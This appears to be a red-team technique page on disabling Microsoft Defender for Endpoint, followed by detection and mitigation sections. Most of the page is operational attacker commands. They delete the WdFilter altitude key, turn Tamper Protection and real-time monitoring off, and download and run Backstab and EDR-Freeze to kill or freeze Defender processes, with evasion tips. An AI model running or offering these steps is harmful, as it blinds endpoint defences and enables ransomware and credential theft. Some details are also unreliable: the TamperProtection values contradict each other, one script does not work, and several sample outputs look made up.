MCADDF

[EVADE-IMPAIR-014]: Defender for Endpoint Bypass

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-014
MITRE ATT&CK v18.1 T1562.001 - Impair Defenses: Disable or Modify Tools
Tactic Defense Evasion
Platforms Windows Endpoint / M365
Severity Critical
Technique Status PARTIAL (Tamper Protection introduced mitigation; older bypasses still viable)
Last Verified 2025-01-09
Affected Versions Windows Server 2016 - 2025; MDE agent 10.0+
Patched In Tamper Protection (Server 2019+, MDE 10.7+) mitigates direct registry modifications
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft Defender for Endpoint (MDE), formerly Windows Defender Advanced Threat Protection, is an endpoint detection and response (EDR) solution that monitors process execution, file operations, network connections, and memory access. Attackers can disable or tamper with MDE by:

Once MDE is disabled, adversaries can execute malware, dump credentials, perform lateral movement, and exfiltrate data without generating EDR telemetry or alerts.

Attack Surface: Windows kernel (WdFilter.sys), Process Explorer driver, Tamper Protection registry keys, Event Tracing for Windows (ETW), WerFaultSecure.exe.

Business Impact: Complete endpoint invisibility. Attackers can execute arbitrary code, install persistence mechanisms, and move laterally without detection. Forensic investigation becomes impossible due to absence of EDR telemetry.

Technical Context: MDE bypass typically takes 2-5 minutes once administrator privileges are obtained. Detection likelihood is Low-Medium if Tamper Protection is enabled; High if only using default registry-based detection. Common indicators include process crash/exit of MsMpEng.exe or SenseNdr.exe, registry modification attempts, and unusual WerFaultSecure.exe activity.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Windows Server 2022: 18.9.8 Ensure Windows Defender Real-Time Monitoring is enabled
DISA STIG WN10-00-000047 Windows Defender Antimalware Service must be running
CISA SCuBA AC-2 Account Management and MDE deployment baseline
NIST 800-53 SI-2 (Flaw Remediation), SI-3 (Malicious Code Protection) Ensure EDR solutions are deployed and functioning
GDPR Art. 32 Security of Processing (technical measures to protect personal data)
DORA Art. 9 ICT security auditing and resilience testing
NIS2 Art. 21 Incident response and security measures
ISO 27001 A.12.6.1 Management of technical vulnerabilities
ISO 27005 Risk Scenario: “EDR Bypass via Kernel Exploitation” Failure of endpoint security agent leads to undetected malicious activity

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Windows Registry and Process Reconnaissance

Objective: Confirm MDE installation and identify protection mechanisms (Tamper Protection status).

# Check if MDE is installed and running
Get-MpComputerStatus

# Output will show:
# AntivirusEnabled              : True
# RealTimeProtectionEnabled     : True
# BehaviorMonitoringEnabled     : True

What to Look For:

# Check Tamper Protection Status
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"

# If value = 5: Tamper Protection is OFF (manual exploitation not required)
# If value = 4: Tamper Protection is ON (requires kernel-level exploitation)

Version Note: Tamper Protection availability:

Check for WdFilter Driver

# Verify WdFilter driver is loaded
Get-Service WdFilter

# Output should show:
# Status   : Running
# Name     : WdFilter
# DisplayName : Windows Defender Filter Driver

What to Look For:

# Check WdFilter driver altitude (used in exploitation)
reg query "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\WdFilter Instance" /v Altitude

# Output: Altitude: 328010 (this value is key for WdFilter restoration)

4. DETAILED EXECUTION METHODS

METHOD 1: WdFilter Kernel Driver Exploitation (Disable-TamperProtection)

Supported Versions: Server 2019+, Windows 10/11 (with MDE 10.7+)

Objective: Exploit TrustedInstaller privileges to manipulate the WdFilter kernel driver and disable Tamper Protection, allowing subsequent registry modifications to disable Defender.

Version Note: This technique is PARTIAL; Tamper Protection in Windows Server 2022+ and latest MDE versions has additional protections, but vulnerabilities in TrustedInstaller privilege handling still exist.

Step 1: Escalate to TrustedInstaller Privileges

Objective: Gain TrustedInstaller (NT SERVICE\TrustedInstaller) privileges to modify protected registry keys.

Command (PowerShell - Requires Local Admin):

# Method 1: Using WMI to spawn process with TrustedInstaller privileges
$username = "NT SERVICE\TrustedInstaller"
$password = ""  # TrustedInstaller has no password
$domain = "."
$credential = New-Object System.Management.Automation.PSCredential `
    -ArgumentList $username, (ConvertTo-SecureString -String $password -AsPlainText -Force)

# Note: Direct spawn is blocked; use the Disable-TamperProtection tool instead

Alternative Command (Using Disable-TamperProtection.exe):

# Download the tool (GitHub Gist or local compile)
# https://github.com/0xvpr/Disable-TamperProtection

Disable-TamperProtection.exe 1

# Output:
# [+] WdFilter Altitude Registry key has been successfully deleted.
# [+] Trusted Installer handle: 00000000000000C4

Expected Output:

WdFilter Altitude Registry key deleted successfully
Process ID assigned TrustedInstaller token privileges
Registry spawn initiated with elevated context

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix (All Versions)
“Access Denied” Not running as admin Re-run PowerShell as Administrator: Right-click → Run as administrator
“WdFilter key not found” WdFilter not installed Verify MDE is installed: Get-MpComputerStatus
“Trusted Installer not available” Permissions insufficient Compile Disable-TamperProtection from source and sign with self-signed cert

References & Proofs:

Step 2: Disable Tamper Protection Registry Key

Objective: After WdFilter driver altitude is deleted, modify the TamperProtection registry key to disable it.

Command:

# Run Disable-TamperProtection.exe with option 2
Disable-TamperProtection.exe 2

# Output:
# [+] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
# [+] Created process ID: 7748 and assigned additional token privileges.
# [+] Use option '3' to finally Disable AV/MDE.

Alternative Command (Direct Registry Modification - if Tamper Protection not enforced):

# If Tamper Protection is disabled, directly modify the registry
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f

Expected Output:

The operation completed successfully.
TamperProtection registry key set to 0 (disabled)

What This Means:

OpSec & Evasion:

References & Proofs:

Step 3: Disable Real-Time Protection and AMSI

Objective: Now that Tamper Protection is disabled, disable Defender’s core protections.

Command:

# Run Disable-TamperProtection.exe with option 3
Disable-TamperProtection.exe 3

# Alternative: Direct PowerShell command
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true

Expected Output:

[+] Real-time protection disabled
[+] Behavior monitoring disabled
[+] AMSI scanning disabled

What This Means:

OpSec & Evasion:

METHOD 2: Process Termination via Process Explorer Driver Abuse (Backstab)

Supported Versions: Server 2016 - 2022 (technique relies on allowing admin process manipulation; Server 2025 hardens this)

Objective: Kill MDE sentinel processes (SenseNdr.exe, MsMpEng.exe) using Backstab, which exploits the Process Explorer driver to obtain SeDebugPrivilege and terminate protected processes.

Step 1: Compile or Download Backstab Tool

Objective: Obtain the Backstab binary that will kill MDE processes.

Command (Download Pre-Compiled):

# Download Backstab from GitHub
Invoke-WebRequest -Uri "https://github.com/dzusername/Backstab/releases/download/v1.0/Backstab.exe" `
    -OutFile "C:\Temp\Backstab.exe"

# Verify file signature (optional, can be skipped for evasion)
Get-AuthenticodeSignature "C:\Temp\Backstab.exe"

Alternative (Compile from Source):

# Clone the repository and compile using Visual Studio
git clone https://github.com/dzusername/Backstab.git
cd Backstab
# Open Backstab.sln in Visual Studio
# Build → Release
# Backstab.exe will be in bin\Release\

Expected Output:

Backstab.exe downloaded/compiled successfully
File size: ~50-150 KB

What This Means:

Step 2: Execute Backstab to Kill MDE Processes

Objective: Run Backstab with administrative privileges to terminate MDE sentinel processes.

Command:

# Run as Administrator
C:\Temp\Backstab.exe -k 4728  # PID of MsMpEng.exe or SenseNdr.exe

# Or automatically kill all Defender processes:
tasklist | findstr "MsMpEng\|SenseNdr\|NisSrv"  # Find PID
C:\Temp\Backstab.exe -k <PID>

Expected Output:

[+] Obtaining SeDebugPrivilege...
[+] Opening handle to protected process (MsMpEng.exe, PID: 4728)
[+] Killing process thread...
[+] MsMpEng.exe terminated

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Access Denied” Not running as admin Re-run with runas /user:Administrator or elevate privileges first
“Process handle failed” Process is PPL (Protected Process Light) Use METHOD 3 (EDR-Freeze) instead, which suspends rather than kills
“SenseNdr respawns” Windows auto-restart service Modify startup type: sc config SenseNdr start= disabled

References & Proofs:

METHOD 3: Process Suspension Attack (EDR-Freeze)

Supported Versions: Server 2019+ (exploits WerFaultSecure.exe; patched in latest Server 2025)

Objective: Suspend MDE processes indefinitely using WerFaultSecure.exe (a Protected Process Light) and the MiniDumpWriteDump function, rather than killing them. This avoids restart logic and generates fewer telemetry events.

Version Note: This technique is PARTIAL; Microsoft has patched WerFaultSecure.exe in latest updates, but unpatched systems remain vulnerable.

Step 1: Download or Compile EDR-Freeze

Objective: Obtain the EDR-Freeze tool that exploits WerFaultSecure.exe for process suspension.

Command:

# Download EDR-Freeze
Invoke-WebRequest -Uri "https://github.com/mgeeky/EDR-Freeze/releases/download/latest/EDR-Freeze.exe" `
    -OutFile "C:\Temp\EDR-Freeze.exe"

Expected Output:

EDR-Freeze.exe downloaded successfully

Step 2: Execute EDR-Freeze to Suspend MDE Processes

Objective: Run EDR-Freeze to suspend SenseNdr.exe and MsMpEng.exe, leaving them in a frozen state.

Command:

# Run as Administrator
C:\Temp\EDR-Freeze.exe --target MsMpEng.exe --suspend

# Output:
# [+] Found MsMpEng.exe (PID: 4728)
# [+] Opening handle to WerFaultSecure.exe...
# [+] Loading dbgcore.dll and MiniDumpWriteDump...
# [+] Suspending target process...
# [+] MsMpEng.exe is now suspended indefinitely

Expected Output:

[+] Process suspended: MsMpEng.exe
[+] EDR will not generate telemetry while suspended
[+] Process can be resumed later or left frozen

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“WerFaultSecure.exe not found” Windows 7 or Server 2012 WerFaultSecure is not available; use METHOD 2 instead
“dbgcore.dll load failed” DLL not in system path EDR-Freeze will attempt to load from System32; ensure no application block policies
“Access Denied on process” Process is kernel-protected Some Server 2022+ systems have kernel-level EDR hooks; try with elevated (System) privileges

References & Proofs:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Windows Event Logs:

File Artifacts:

Network Artifacts:

Forensic Artifacts

Collect Windows Event Logs:

# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx

# Export System Event Log (for service stop events)
wevtutil epl System C:\Evidence\System.evtx

# Export Sysmon logs (if installed)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx

Registry Artifacts:

# Export WdFilter registry hive
reg export HKLM\SYSTEM\CurrentControlSet\Services\WdFilter C:\Evidence\WdFilter.reg

# Export Defender preferences
reg export HKLM\SOFTWARE\Microsoft\Windows Defender C:\Evidence\Defender.reg

MDE Telemetry (if not deleted):

# Check MDE local cache (if agent was running before termination)
Get-ChildItem "C:\ProgramData\Microsoft\Windows Defender\Scans\History" -Recurse

Response Procedures

  1. Isolate:
    • Disconnect the affected system from the network: Disable-NetAdapter -Name "Ethernet"
    • Or manually disconnect via network switch / power off VM
  2. Collect Evidence:
    • Export all Windows event logs (Security, System, Application)
    • Capture memory dump before reboot: Use Microsoft’s procdump tool (if system still responsive)
    • Document the system state (running processes, registry keys)
  3. Remediate:
    • Restore WdFilter driver: Reinstall Windows Defender or restore from system backup
    • Reset Defender preferences:
      Set-MpPreference -DisableRealtimeMonitoring $false
      Set-MpPreference -DisableBehaviorMonitoring $false
      
    • Reboot the system to restore kernel drivers
    • Re-enable Tamper Protection (if available)

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix):

# Check that Tamper Protection is enabled
Get-MpComputerStatus | Select-Object IsTamperProtected

# Expected output: IsTamperProtected : True

# Verify real-time protection is active
Get-MpPreference | Select-Object DisableRealtimeMonitoring

# Expected output: DisableRealtimeMonitoring : False

What to Look For:


Step Phase Technique Description
1 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare Gain local administrator privileges on a Windows endpoint
2 Defense Evasion [EVADE-IMPAIR-014] Disable MDE via WdFilter exploitation or process termination
3 Credential Access [CA-DUMP-001] Mimikatz LSASS Dump credentials from memory without MDE detection
4 Lateral Movement [LM-AUTH-002] Pass-the-Ticket Move laterally using stolen Kerberos tickets
5 Impact Ransomware deployment Deploy ransomware without MDE blocking

8. REAL-WORLD EXAMPLES

Example 1: Conti/Wizard Spider MDE Bypass (2021-2023)

Example 2: Emotet Malware Disabling Defender (2021)

Example 3: RoyalRansom Backstab Exploitation (2024)